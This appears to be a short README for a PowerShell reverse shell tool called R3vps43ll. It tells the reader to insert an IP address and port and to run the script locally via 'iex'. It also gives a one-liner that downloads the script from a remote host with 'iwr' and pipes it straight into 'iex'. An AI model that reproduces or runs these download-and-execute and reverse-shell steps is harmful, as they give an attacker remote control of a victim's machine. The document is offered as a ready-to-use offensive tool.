R3vps43ll is a PowerShell reverse shell with limited capabilities. It is uploaded as a .txt file and can be used as such.
Add your IP Address and Port number.
You can save as .ps1 and runas in PowerShell:
.\r3vps43ll.ps1
Run it like this in PowerShell:
gc -raw .\r3vps43ll.txt | iex
(iwr 'http://< YOUR IP >/< DIRECTORY >/filename.txt' -UseBasicParsing) | iex